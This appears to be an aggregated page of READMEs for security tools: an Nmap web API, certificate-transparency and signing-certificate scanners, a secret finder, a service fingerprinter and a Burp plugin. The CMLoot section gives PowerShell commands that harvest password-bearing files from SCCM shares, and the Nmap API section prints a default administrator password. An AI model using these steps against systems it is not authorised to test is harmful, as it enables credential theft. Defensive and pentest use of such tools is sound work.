I would like to express my gratitude to all of the open source projects that have made this tool possible and have made recon tasks easier to accomplish.
Uses python3.10, Debian, python-Nmap, and flask framework to create a Nmap API that can do scans with a good speed online and is easy to deploy.
This is a implementation for our college PCL project which is still under development and constantly updating.
GET /api/p1/{username}:{password}/{target}
GET /api/p2/{username}:{password}/{target}
GET /api/p3/{username}:{password}/{target}
GET /api/p4/{username}:{password}/{target}
GET /api/p5/{username}:{password}/{target}| Parameter | Type | Description |
|---|---|---|
username | string | Required. username of the current user |
password | string | Required. current user password |
target | string | Required. The target Hostname and IP |
GET /api/p1/
GET /api/p2/
GET /api/p3/
GET /api/p4/
GET /api/p5/| Parameter | Return data | Description | Nmap Command |
|---|---|---|---|
p1 | json | Effective Scan | -Pn -sV -T4 -O -F |
p2 | json | Simple Scan | -Pn -T4 -A -v |
p3 | json | Low Power Scan | -Pn -sS -sU -T4 -A -v |
p4 | json | Partial Intense Scan | -Pn -p- -T4 -A -v |
p5 | json | Complete Intense Scan | -Pn -sS -sU -T4 -A -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script=vuln |
POST /adduser/{admin-username}:{admin-passwd}/{id}/{username}/{passwd}
POST /deluser/{admin-username}:{admin-passwd}/{t-username}/{t-userpass}
POST /altusername/{admin-username}:{admin-passwd}/{t-user-id}/{new-t-username}
POST /altuserid/{admin-username}:{admin-passwd}/{new-t-user-id}/{t-username}
POST /altpassword/{admin-username}:{admin-passwd}/{t-username}/{new-t-userpass}| Parameter | Type | Description |
|---|---|---|
admin-username | String | Admin username |
admin-passwd | String | Admin password |
id | String | Id for newly added user |
username | String | Username of the newly added user |
passwd | String | Password of the newly added user |
t-username | String | Target username |
t-user-id | String | Target userID |
t-userpass | String | Target users password |
new-t-username | String | New username for the target |
new-t-user-id | String | New userID for the target |
new-t-userpass | String | New password for the target |
DEFAULT CREDENTIALS
ADMINISTRATOR : zAp6_oO~t428)@,
CertWatcher is a tool for capturing and tracking certificate transparency logs, using YAML templates. The tool helps detect and analyze websites using regular expression patterns and is designed for ease of use by security professionals and researchers.
Certwatcher continuously monitors the certificate data stream and checks for patterns or malicious activity. Certwatcher can also be customized to detect specific phishing, exposed tokens, secret api key patterns using regular expressions defined by YAML templates.
Certwatcher allows you to use custom templates to display the certificate information. We have some public custom templates available from the community. You can find them in our repository.
If you want to contribute to this project, follow the steps below:
CMLoot was created to easily find interesting files stored on System Center Configuration Manager (SCCM/CM) SMB shares. The shares are used for distributing software to Windows clients in Windows enterprise environments and can contains scripts/configuration files with passwords, certificates (pfx), etc. Most SCCM deployments are configured to allow all users to read the files on the shares, sometimes it is limited to computer accounts.
The Content Library of SCCM/CM have a "complex" (annoying) file structure which CMLoot will untangle for you: https://techcommunity.microsoft.com/t5/configuration-manager-archive/understanding-the-configuration-manager-content-library/ba-p/273349
Essentially the DataLib folder contains .INI files, the .INI file are named the original filename + .INI. The .INI file contains a hash of the file, and the file itself is stored in the FileLib in format of <folder name: 4 first chars of the hash>\fullhash.
It is possible to apply Access control to packages in CM. This however only protects the folder for the file descriptor (DataLib), not the actual file itself. CMLoot will during inventory record any package that it can't access (Access denied) to the file _noaccess.txt. Invoke-CMLootHunt can then use this file to enumerate the actual files that the access control is trying to protect.
Windows Defender for Endpoint (EDR) or other security mechanisms might trigger because the script parses a lot of files over SMB.
Find CM servers by searching for them in Active Directory or by fetching this reqistry key on a workstation with System Center installed:
(Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\SMS\DP -Name ManagementPoints).ManagementPoints
There may be multiple CM servers deployed and they can contain different files so be sure to find all of them.
Then you need to create an inventory file which is just a text file containing references to file descriptors (.INI). The following command will parse all .INI files on the SCCM server to create a list of files available.
PS> Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt
Then use the inventory file created above to download files of interest:
Select files using GridView (Milage may vary with large inventory files):
PS> Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -GridSelect
Download a single file, by coping a line in the inventory text:
PS> Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml
Download all files with a certain file extension:
PS> Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension ps1
Files will by default download to CMLootOut in the folder from which you execute the script, can be changed with -OutFolder parameter. Files are saved in the format of (folder: filext)\(first 4 chars of hash>_original filename).
Hunt for files that CMLootInventory found inaccessible:
Invoke-CMLootHunt -SCCMHost sccm -NoAccessFile sccmfiles_noaccess.txt
Bulk extract MSI files:
Invoke-CMLootExtract -Path .\CMLootOut\msi
Run inventory, scanning available files:
Select files using GridSelect:
Hunt "inaccessible" files and MSI extract:
Tomas Rzepka / WithSecure
Nosey Parker is a command-line tool that finds secrets and sensitive information in textual data. It is useful both for offensive and defensive security testing.
Key features:
This open-source version of Nosey Parker is a reimplementation of the internal version that is regularly used in offensive security engagements at Praetorian. The internal version has additional capabilities for false positive suppression and an alternative machine learning-based detection engine. Read more in blog posts here and here.
1. (On x86_64) Install the Hyperscan library and headers for your system
On macOS using Homebrew:
brew install hyperscan pkg-config
On Ubuntu 22.04:
apt install libhyperscan-dev pkg-config
1. (On non-x86_64) Build Vectorscan from source
You will need several dependencies, including cmake, boost, ragel, and pkg-config.
Download and extract the source for the 5.4.8 release of Vectorscan:
wget https://github.com/VectorCamp/vectorscan/archive/refs/tags/vectorscan/5.4.8.tar.gz && tar xfz 5.4.8.tar.gz
Build with cmake:
cd vectorscan-vectorscan-5.4.8 && cmake -B build -DCMAKE_BUILD_TYPE=Release . && cmake --build build
Set the HYPERSCAN_ROOT environment variable so that Nosey Parker builds against your from-source build of Vectorscan:
export HYPERSCAN_ROOT="$PWD/build"
Note: The Nosey Parker Dockerfile builds Vectorscan from source and links against that.
2. Install the Rust toolchain
Recommended approach: install from https://rustup.rs
3. Build using Cargo
cargo build --release
This will produce a binary at target/release/noseyparker.
A prebuilt Docker image is available for the latest release for x86_64:
docker pull ghcr.io/praetorian-inc/noseyparker:latest
A prebuilt Docker image is available for the most recent commit for x86_64:
docker pull ghcr.io/praetorian-inc/noseyparker:edge
For other architectures (e.g., ARM) you will need to build the Docker image yourself:
docker build -t noseyparker .
Run the Docker image with a mounted volume:
docker run -v "$PWD":/opt/ noseyparker
Note: The Docker image runs noticeably slower than a native binary, particularly on macOS.
Most Nosey Parker commands use a datastore. This is a special directory that Nosey Parker uses to record its findings and maintain its internal state. A datastore will be implicitly created by the scan command if needed. You can also create a datastore explicitly using the datastore init -d PATH command.
Nosey Parker has built-in support for scanning files, recursively scanning directories, and scanning the entire history of Git repositories.
For example, if you have a Git clone of CPython locally at cpython.git, you can scan its entire history with the scan command. Nosey Parker will create a new datastore at np.cpython and saves its findings there.
$ noseyparker scan --datastore np.cpython cpython.git
Found 28.30 GiB from 18 plain files and 427,712 blobs from 1 Git repos [00:00:04]
Scanning content โโโโโโโโโโโโโโโโโโโโ 100% 28.30 GiB/28.30 GiB [00:00:53]
Scanned 28.30 GiB from 427,730 blobs in 54 seconds (538.46 MiB/s); 4,904/4,904 new matches
Rule Distinct Groups Total Matches
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
PEM-Encoded Private Key 1,076 1,1 92
Generic Secret 331 478
netrc Credentials 42 3,201
Generic API Key 2 31
md5crypt Hash 1 2
Run the `report` command next to show finding details.
Nosey Parker can also scan Git repos that have not already been cloned to the local filesystem. The --git-url URL, --github-user NAME, and --github-org NAME options to scan allow you to specify repositories of interest.
For example, to scan the Nosey Parker repo itself:
$ noseyparker scan --datastore np.noseyparker --git-url https://github.com/praetorian-inc/noseyparker
For example, to scan accessible repositories belonging to octocat:
$ noseyparker scan --datastore np.noseyparker --github-user octocat
These input specifiers will use an optional GitHub token if available in the NP_GITHUB_TOKEN environment variable. Providing an access token gives a higher API rate limit and may make additional repositories accessible to you.
See noseyparker help scan for more details.
Nosey Parker prints out a summary of its findings when it finishes scanning. You can also run this step separately:
$ noseyparker summarize --datastore np.cpython
Rule Distinct Groups Total Matches
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
PEM-Encoded Private Key 1,076 1,192
Generic Secret 331 478
netrc Credentials 42 3,201
Generic API Key 2 31
md5crypt Hash 1 2
Additional output formats are supported, including JSON and JSON lines, via the --format=FORMAT option.
To see details of Nosey Parker's findings, use the report command. This prints out a text-based report designed for human consumption:
--format=FORMAT option. To list URLs for repositories belonging to GitHub users or organizations, use the github repos list command. This command uses the GitHub REST API to enumerate repositories belonging to one or more users or organizations. For example:
$ noseyparker github repos list --user octocat
https://github.com/octocat/Hello-World.git
https://github.com/octocat/Spoon-Knife.git
https://github.com/octocat/boysenberry-repo-1.git
https://github.com/octocat/git-consortium.git
https://github.com/octocat/hello-worId.git
https://github.com/octocat/linguist.git
https://github.com/octocat/octocat.github.io.git
https://github.com/octocat/test-repo1.git
An optional GitHub Personal Access Token can be provided via the NP_GITHUB_TOKEN environment variable. Providing an access token gives a higher API rate limit and may make additional repositories accessible to you.
Additional output formats are supported, including JSON and JSON lines, via the --format=FORMAT option.
See noseyparker help github for more details.
Running the noseyparker binary without arguments prints top-level help and exits. You can get abbreviated help for a particular command by running noseyparker COMMAND -h.
Tip: More detailed help is available with the help command or long-form --help option.
Contributions are welcome, particularly new regex rules. Developing new regex rules is detailed in a separate document.
If you are considering making significant code changes, please open an issue first to start discussion.
Nosey Parker is licensed under the Apache License, Version 2.0.
Any contribution intentionally submitted for inclusion in Nosey Parker by you, as defined in the Apache 2.0 license, shall be licensed as above, without any additional terms or conditions.
fingerprintx is a utility similar to httpx that also supports fingerprinting services like as RDP, SSH, MySQL, PostgreSQL, Kafka, etc. fingerprintx can be used alongside port scanners like Naabu to fingerprint a set of ports identified during a port scan. For example, an engineer may wish to scan an IP range and then rapidly fingerprint the service running on all the discovered ports.
| SERVICE | TRANSPORT | SERVICE | TRANSPORT |
|---|---|---|---|
| HTTP | TCP | REDIS | TCP |
| SSH | TCP | MQTT3 | TCP |
| MODBUS | TCP | VNC | TCP |
| TELNET | TCP | MQTT5 | TCP |
| FTP | TCP | RSYNC | TCP |
| SMB | TCP | RPC | TCP |
| DNS | TCP | OracleDB | TCP |
| SMTP | TCP | RTSP | TCP |
| PostgreSQL | TCP | MQTT5 | TCP (TLS) |
| RDP | TCP | HTTPS | TCP (TLS) |
| POP3 | TCP | SMTPS | TCP (TLS) |
| KAFKA | TCP | MQTT3 | TCP (TLS) |
| MySQL | TCP | RDP | TCP (TLS) |
| MSSQL | TCP | POP3S | TCP (TLS) |
| LDAP | TCP | LDAPS | TCP (TLS) |
| IMAP | TCP | IMAPS | TCP (TLS) |
| SNMP | UDP | Kafka | TCP (TLS) |
| OPENVPN | UDP | NETBIOS-NS | UDP |
| IPSEC | UDP | DHCP | UDP |
| STUN | UDP | NTP | UDP |
| DNS | UDP |
From Github
go install github.com/praetorian-inc/fingerprintx/cmd/fingerprintx@latestFrom source (go version > 1.18)
$ git clone git@github.com:praetorian-inc/fingerprintx.git
$ cd fingerprintx
# with go version > 1.18
$ go build ./cmd/fingerprintx
$ ./fingerprintx -hDocker
$ git clone git@github.com:praetorian-inc/fingerprintx.git
$ cd fingerprintx
# build
docker build -t fingerprintx .
# and run it
docker run --rm fingerprintx -h
docker run --rm fingerprintx -t praetorian.com:80 --jsonfingerprintx -hThe -h option will display all of the supported flags for fingerprintx.
Usage:
fingerprintx [flags]
TARGET SPECIFICATION:
Requires a host and port number or ip and port number. The port is assumed to be open.
HOST:PORT or IP:PORT
EXAMPLES:
fingerprintx -t praetorian.com:80
fingerprintx -l input-file.txt
fingerprintx --json -t praetorian.com:80,127.0.0.1:8000
Flags:
--csv output format in csv
-f, --fast fast mode
-h, --help help for fingerprintx
--json output format in json
-l, --list string input file containing targets
-o, --output string output file
-t, --targets strings target or comma separated target list
-w, --timeout int timeout (milliseconds) (default 500)
-U, --udp run UDP plugins
-v, --verbose verbose modeThe fast mode will only attempt to fingerprint the default service associated with that port for each target. For example, if praetorian.com:8443 is the input, only the https plugin would be run. If https is not running on praetorian.com:8443, there will be NO output. Why do this? It's a quick way to fingerprint most of the services in a large list of hosts (think the 80/20 rule).
With one target:
$ fingerprintx -t 127.0.0.1:8000
http://127.0.0.1:8000By default, the output is in the form: SERVICE://HOST:PORT. To get more detailed service output specify JSON with the --json flag:
$ fingerprintx -t 127.0.0.1:8000 --json
{"ip":"127.0.0.1","port":8000,"service":"http","transport":"tcp","metadata":{"responseHeaders":{"Content-Length":["1154"],"Content-Type":["text/html; charset=utf-8"],"Date":["Mon, 19 Sep 2022 18:23:18 GMT"],"Server":["SimpleHTTP/0.6 Python/3.10.6"]},"status":"200 OK","statusCode":200,"version":"SimpleHTTP/0.6 Python/3.10.6"}}Pipe in output from another program (like naabu):
$ naabu 127.0.0.1 -silent 2>/dev/null | fingerprintx
http://127.0.0.1:8000
ftp://127.0.0.1:21Run with an input file:
$ cat input.txt | fingerprintx
http://praetorian.com:80
telnet://telehack.com:23
# or if you prefer
$ fingerprintx -l input.txt
http://praetorian.com:80
telnet://telehack.com:23
With more metadata output:
Nmap is the standard for network scanning. Why use fingerprintx instead of nmap? The main two reasons are:
fingerprintx works smarter, not harder: the first plugin run against a server with port 8080 open is the http plugin. The default service approach cuts down scanning time in the best case. Most of the time the services running on port 80, 443, 22 are http, https, and ssh -- so that's what fingerprintx checks first.fingerprintx supports json output with the --json flag. Nmap supports numerous output options (normal, xml, grep), but they are often hard to parse and script appropriately. fingerprintx supports json output which eases integration with other tools in processing pipelines.third_party folder that imports the Go cryptography libraries? ssh fingerprinting module identifies the various cryptographic options supported by the server when collecting metadata during the handshake process. This makes use of a few unexported functions, which is why the Go cryptography libraries are included here with an export.go file.target:port input is open. If none of the ports are open there will be no output as there are no services running on the targets.zgrab2 command line usage (and use case) is slightly different than fingerprintx. For zgrab2, the protocol must be specified ahead of time: echo praetorian.com | zgrab2 http -p 8000, which assumes you already know what is running there. For fingerprintx, that is not the case: echo praetorian.com:8000 | fingerprintx. The "application layer" protocol scanning approach is very similar.fingerprintx is the work of a lot of people, including our great intern class of 2022. Here is a list of contributors so far:
Graphical interface for PortEx, a Portable Executable and Malware Analysis Library
I test this program on Linux and Windows. But it should work on any OS with JRE version 9 or higher.
I will be including more and more features that PortEx already provides.
These features include among others:
Some of these features are already provided by PortexAnalyzer CLI version, which you can find here: PortexAnalyzer CLI
I develop PortEx and PortexAnalyzer as a hobby in my free time. If you like it, please consider buying me a coffee: https://ko-fi.com/struppigel
Karsten Hahn
Twitter: @Struppigel
Mastodon: struppigel@infosec.exchange
Youtube: MalwareAnalysisForHedgehogs
The plugin is created to help automated scanning using Burp in the following scenarios:
Key advantages:
The inspiration for the plugin is from ExtendedMacro plugin: https://github.com/FrUh/ExtendedMacro
For usage with test application (Install this testing application (Tiredful application) from https://github.com/payatu/Tiredful-API)
Totally there are 4 different ways you can specify the error condition.
Idea : Record the Tiredful application request in BURP, configure the ATOR extender, check whether token is replaced by ATOR.
Please read CONTRIBUTING.md for details on our code of conduct, and the process for submitting pull requests to us.
v1.0
Authors from Synopsys - Ashwath Reddy (@ka3hk) and Manikandan Rajappan (@rmanikdn)
This software is released by Synopsys under the MIT license.
UI Panel was splitted into 4 different configuration. Check out the code from v2 or use the executable from v2/bin.
CertWatcher is a tool for capture and tracking certificate transparency logs, using YAML templates. The tool helps to detect and analyze phishing websites and regular expression patterns, and is designed to make it easy to use for security professionals and researchers.
Certwatcher continuously monitors the certificate data stream and checks for suspicious patterns or malicious activity. Certwatcher can also be customized to detect specific phishing patterns and combat the spread of malicious websites.
Certwatcher allows you to use custom templates to display the certificate information. We have some public custom templates available from the community. You can find them in our repository.
If you want to contribute to this project, follow the steps below:
The CertVerify is a tool designed to detect executable files (exe, dll, sys) that have been signed with untrusted or leaked code signing certificates. The purpose of this tool is to identify potentially malicious files that have been signed using certificates that have been compromised, stolen, or are not from a trusted source.
Executable files signed with compromised or untrusted code signing certificates can be used to distribute malware and other malicious software. Attackers can use these files to bypass security controls and to make their malware appear legitimate to victims. This tool helps to identify these files so that they can be removed or investigated further.
As a continuous project of the previous malware scanner, i have created such a tool. This type of tool is also essential in the event of a security incident response.
The CertVerify cannot guarantee that all files identified as suspicious are necessarily malicious. It is possible for files to be falsely identified as suspicious, or for malicious files to go undetected by the scanner.
The scanner only targets code signing certificates that have been identified as malicious by the public community. This includes certificates extracted by malware analysis tools and services, and other public sources. There are many unverified malware signing certificates, and it is not possible to obtain the entire malware signing certificate the tool can only detect some of them. For additional detection, you have to extract the certificate's serial number and fingerprint information yourself and add it to the signatures.
The scope of this tool does not include the extraction of code signing information for special rootkits that have already preempted and operated under the kernel, such as FileLess bootkits, or hidden files hidden by high-end technology. In other words, if you run this tool, it will be executed at the user level. Similar functions at the kernel level are more accurate with antirootkit or EDR. Please keep this in mind and focus on the ideas and principles... To implement the principle that is appropriate for the purpose of this tool, you need to development a driver(sys) and run it into the kernel with NT\SYSTEM privileges.
Nevertheless, if you want to run this tool in the event of a Windows system intrusion incident, and your purpose is sys files, boot into safe mode or another boot option that does not load the extra driver(sys) files (load only default system drivers) of the Windows system before running the tool. I think this can be a little more helpful.
Alternatively, mount the Windows system disk to the Linux and run the tool in the Linux environment. I think this could yield better results.
datetime="2023-03-06 20:17:57",scan_id="87ea3e7b-dedc-4016-a43e-5c83f8d27c6e",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\chrome.exe",signature_hash="sha256",serial_number="0e4418e2dede36dd2974c3443afb5ce5",thumbprint="7d3d117664f121e592ef897973ef9c159150e3d736326e9cd2755f71e0febc0c",subject_name="Google LLC",issu er_name="DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1",file_created_at="2023-03-03 23:20:41",file_modified_at="2022-04-14 06:17:04"
datetime="2023-03-06 20:17:58",scan_id="87ea3e7b-dedc-4016-a43e-5c83f8d27c6e",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\LineLauncher.exe",signature_hash="sha256",serial_number="0d424ae0be3a88ff604021ce1400f0dd",thumbprint="b3109006bc0ad98307915729e04403415c83e3292b614f26964c8d3571ecf5a9",subject_name="DigiCert Timestamp 2021",issuer_name="DigiCert SHA2 Assured ID Timestamping CA",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-03-10 18:00:10"
datetime="2023-03-06 20:17:58",scan_id="87ea3e7b-dedc-4016-a43e-5c83f8d27c6e",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\LineUpdater.exe",signature_hash="sha256",serial_number="0d424ae0be3a88ff604021ce1400f0dd",thumb print="b3109006bc0ad98307915729e04403415c83e3292b614f26964c8d3571ecf5a9",subject_name="DigiCert Timestamp 2021",issuer_name="DigiCert SHA2 Assured ID Timestamping CA",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-04-06 10:06:28"
datetime="2023-03-06 20:17:59",scan_id="87ea3e7b-dedc-4016-a43e-5c83f8d27c6e",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\TWOD_Launcher.exe",signature_hash="sha256",serial_number="073637b724547cd847acfd28662a5e5b",thumbprint="281734d4592d1291d27190709cb510b07e22c405d5e0d6119b70e73589f98acf",subject_name="DigiCert Trusted G4 RSA4096 SHA256 TimeStamping CA",issuer_name="DigiCert Trusted Root G4",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-04-07 09:14:08"
datetime="2023-03-06 20:18:00",scan_id="87ea3e7b-dedc-4016-a43e-5c83f8d27c6e",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject \certverify\test\VBoxSup.sys",signature_hash="sha256",serial_number="2f451139512f34c8c528b90bca471f767b83c836",thumbprint="3aa166713331d894f240f0931955f123873659053c172c4b22facd5335a81346",subject_name="VirtualBox for Legacy Windows Only Timestamp Kludge 2014",issuer_name="VirtualBox for Legacy Windows Only Timestamp CA",file_created_at="2023-03-03 23:20:43",file_modified_at="2022-10-11 08:11:56"
datetime="2023-03-06 20:31:59",scan_id="f71277c5-ed4a-4243-8070-7e0e56b0e656",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\chrome.exe",signature_hash="sha256",serial_number="0e4418e2dede36dd2974c3443afb5ce5",thumbprint="7d3d117664f121e592ef897973ef9c159150e3d736326e9cd2755f71e0febc0c",subject_name="Google LLC",issuer_name="DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1",file_created_at="2023-03-03 23:20:41",file_modified_at="2022-04-14 06:17:04"
datetime="2023-03-06 20:32:00",scan_id="f71277c 5-ed4a-4243-8070-7e0e56b0e656",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\LineLauncher.exe",signature_hash="sha256",serial_number="0d424ae0be3a88ff604021ce1400f0dd",thumbprint="b3109006bc0ad98307915729e04403415c83e3292b614f26964c8d3571ecf5a9",subject_name="DigiCert Timestamp 2021",issuer_name="DigiCert SHA2 Assured ID Timestamping CA",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-03-10 18:00:10"
datetime="2023-03-06 20:32:00",scan_id="f71277c5-ed4a-4243-8070-7e0e56b0e656",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\LineUpdater.exe",signature_hash="sha256",serial_number="0d424ae0be3a88ff604021ce1400f0dd",thumbprint="b3109006bc0ad98307915729e04403415c83e3292b614f26964c8d3571ecf5a9",subject_name="DigiCert Timestamp 2021",issuer_name="DigiCert SHA2 Assured ID Timestamping CA",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-04-06 10:06:28"
datetime="2023-03-06 20:32:01",scan_id="f71277c5-ed4a-4243-8070-7e0e56b0e656",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\TWOD_Launcher.exe",signature_hash="sha256",serial_number="073637b724547cd847acfd28662a5e5b",thumbprint="281734d4592d1291d27190709cb510b07e22c405d5e0d6119b70e73589f98acf",subject_name="DigiCert Trusted G4 RSA4096 SHA256 TimeStamping CA",issuer_name="DigiCert Trusted Root G4",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-04-07 09:14:08"
datetime="2023-03-06 20:32:02",scan_id="f71277c5-ed4a-4243-8070-7e0e56b0e656",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\VBoxSup.sys",signature_hash="sha256",serial_number="2f451139512f34c8c528b90bca471f767b83c836",thumbprint="3aa166713331d894f240f0931955f123873659053c172c4b22facd5335a81346",subjec t_name="VirtualBox for Legacy Windows Only Timestamp Kludge 2014",issuer_name="VirtualBox for Legacy Windows Only Timestamp CA",file_created_at="2023-03-03 23:20:43",file_modified_at="2022-10-11 08:11:56"
datetime="2023-03-06 20:33:45",scan_id="033976ae-46cb-4c2e-a357-734353f7e09a",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\chrome.exe",signature_hash="sha256",serial_number="0e4418e2dede36dd2974c3443afb5ce5",thumbprint="7d3d117664f121e592ef897973ef9c159150e3d736326e9cd2755f71e0febc0c",subject_name="Google LLC",issuer_name="DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1",file_created_at="2023-03-03 23:20:41",file_modified_at="2022-04-14 06:17:04"
datetime="2023-03-06 20:33:45",scan_id="033976ae-46cb-4c2e-a357-734353f7e09a",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\LineLauncher.exe",signature_hash="sha 256",serial_number="0d424ae0be3a88ff604021ce1400f0dd",thumbprint="b3109006bc0ad98307915729e04403415c83e3292b614f26964c8d3571ecf5a9",subject_name="DigiCert Timestamp 2021",issuer_name="DigiCert SHA2 Assured ID Timestamping CA",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-03-10 18:00:10"
datetime="2023-03-06 20:33:45",scan_id="033976ae-46cb-4c2e-a357-734353f7e09a",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\LineUpdater.exe",signature_hash="sha256",serial_number="0d424ae0be3a88ff604021ce1400f0dd",thumbprint="b3109006bc0ad98307915729e04403415c83e3292b614f26964c8d3571ecf5a9",subject_name="DigiCert Timestamp 2021",issuer_name="DigiCert SHA2 Assured ID Timestamping CA",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-04-06 10:06:28"
datetime="2023-03-06 20:33:46",scan_id="033976ae-46cb-4c2e-a357-734353f7e09a",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192. 168.0.23",infected_file="F:\code\pythonProject\certverify\test\TWOD_Launcher.exe",signature_hash="sha256",serial_number="073637b724547cd847acfd28662a5e5b",thumbprint="281734d4592d1291d27190709cb510b07e22c405d5e0d6119b70e73589f98acf",subject_name="DigiCert Trusted G4 RSA4096 SHA256 TimeStamping CA",issuer_name="DigiCert Trusted Root G4",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-04-07 09:14:08"
datetime="2023-03-06 20:33:47",scan_id="033976ae-46cb-4c2e-a357-734353f7e09a",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\VBoxSup.sys",signature_hash="sha256",serial_number="2f451139512f34c8c528b90bca471f767b83c836",thumbprint="3aa166713331d894f240f0931955f123873659053c172c4b22facd5335a81346",subject_name="VirtualBox for Legacy Windows Only Timestamp Kludge 2014",issuer_name="VirtualBox for Legacy Windows Only Timestamp CA",file_created_at="2023-03-03 23:20:43",file_modified_at="2022-10-11 08:11:56"
